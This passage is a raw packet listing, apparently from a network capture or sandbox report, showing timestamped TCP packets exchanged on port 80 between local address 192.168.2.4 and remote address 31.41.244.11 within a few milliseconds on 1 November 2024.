Nov 1, 2024 10:57:11.277121067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277128935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277133942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277157068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277168036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277185917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277194977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277219057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277226925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277229071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277237892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277256966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277262926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277264118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277273893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277304888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277326107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277335882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277347088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277354956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277364016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277374029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277376890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277383089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277401924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277415037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277523041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277533054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277543068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277554035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277565956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277576923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277602911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277616978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277627945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277637005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277654886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277662992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277673006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277678013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277683020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277698994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277707100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277738094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277740955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277751923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277760983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277769089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277785063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277800083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277810097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277820110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277827978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277856112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277864933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278383017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278393984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278410912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278419971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278428078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278455973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278520107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278529882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278539896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278549910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278559923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278568029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278584957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278594971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278594971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278605938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278629065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278630972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278640032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278654099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278656006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278664112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278673887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278680086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278682947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278697968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278707981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278708935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278719902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278728008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278738976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278748035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278753996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278775930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278789043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.278949022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278959990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278969049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.278989077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279000998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279011965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279037952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279067993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279077053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279087067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279098034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279103041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279109955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279130936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279251099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279287100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279297113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279310942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279326916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279328108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279335022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279336929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279360056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279381990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279382944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279402018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279411077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279412985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279431105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279453039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279480934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279489994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279499054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279509068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279511929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279520988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279526949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279534101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279551983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279563904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279681921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279691935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279706001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279715061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279722929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279723883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279736042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279747009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279751062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279761076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279761076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279772997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279782057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279783964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279793024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279803038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279810905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279818058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279827118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279827118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279839993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279850006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279855013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279867887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279891014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279911041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279921055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279928923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279938936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279943943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279949903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279972076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.279975891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.279988050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280008078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280019045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280029058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280059099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280072927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280087948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280097008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280124903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280143023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280153036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280162096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280170918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280179024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280190945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280211926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280245066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280256033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280265093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280275106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280283928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280284882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280296087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280307055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280318975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280318975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280339956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280368090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280376911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280390978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280400991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280406952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280411005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280420065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280424118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280435085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280443907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280445099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280468941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280472040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280479908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280500889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280507088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280517101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280519009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280529022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280539036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280563116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280570984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280575991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280580997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280596972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280620098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280632973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280642033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280642033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280654907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280663967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280664921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280677080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280694962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280780077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280790091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280797958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280807972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280817032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280821085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280834913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280838966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280846119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280854940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280863047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280877113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280900955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280929089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280939102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280949116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280956984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280958891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280971050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.280971050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.280986071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281012058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281095028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281110048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281117916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281132936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281132936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281150103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281156063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281162024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281169891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281174898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281181097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281189919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281192064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281200886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281219006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281240940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281254053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281264067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281272888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281284094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281284094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281296015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281306982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281311035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281321049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281331062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281331062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281342983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281347990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281361103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281383038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281461000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281471014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281478882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281486988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281497002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281502962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281507969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281517029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281518936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281531096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281533957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281542063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.281547070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.281573057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282272100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282337904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282346964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282356977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282366991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282370090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282382965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282391071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282397985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282402039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282412052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282413006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282423019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282428980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282439947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282442093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282450914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282464027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282476902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282495975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282495975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282501936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282522917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282645941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282677889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282708883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282740116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282767057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282777071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282785892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282793045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282795906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282807112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282809019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282818079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282824039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282845974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282846928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282859087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282867908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282876968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282886982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282891989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282915115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282923937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282927990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282934904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282949924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282958984 CET	80	49820	31.41.244.11	192.168.2.4
